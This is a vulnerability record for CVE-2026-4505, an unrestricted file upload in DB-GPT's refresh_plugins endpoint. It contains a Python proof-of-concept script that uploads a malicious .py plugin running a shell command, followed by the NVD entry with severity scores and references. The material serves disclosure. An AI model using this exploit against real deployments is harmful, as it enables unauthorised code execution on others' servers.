CVE-2026-4505

import requests # Target URL for the vulnerable endpoint # Adjust the IP and port according to the actual environment target_url = "http://127.0.0.1:5000/api/agent/hub/refresh_plugins" # Malicious file content (e.g., a simple python webshell or backdoor) # This demonstrates the unrestricted upload capability malicious_code = """import os os.system('whoami') """ # Prepare the file payload # The vulnerability allows arbitrary file types, so naming it .py is possible files = { 'file': ('malicious_plugin.py', malicious_code, 'text/plain') } # Low-privilege authentication cookie (if required by PR:L) cookies = { 'session': 'valid_low_privilege_session_token' } try: # Send the malicious upload request response = requests.post(target_url, files=files, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Exploit successful! File uploaded via refresh_plugins.") print("[+] Response:", response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print("[-] Response:", response.text) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-4505", "sourceIdentifier": "[email protected]", "published": "2026-03-20T20:16:50.903", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in eosphoros-ai DB-GPT up to 0.7.5. This issue affects the function module_plugin.refresh_plugins of the file packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py of the component FastAPI Endpoint. Such manipulation leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se ha encontrado una vulnerabilidad en eosphoros-ai DB-GPT hasta 0.7.5. Este problema afecta a la función module_plugin.refresh_plugins del archivo packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py del componente FastAPI Endpoint. Dicha manipulación conduce a una carga irrestricta. Es posible lanzar el ataque de forma remota. El exploit ha sido divulgado al público y puede ser utilizado. El proveedor fue contactado tempranamente sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/Ka7arotto/cve/blob/main/DB-gpt-uploadrce.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352071", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352071", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.773897", "source": "[email protected]"}]}}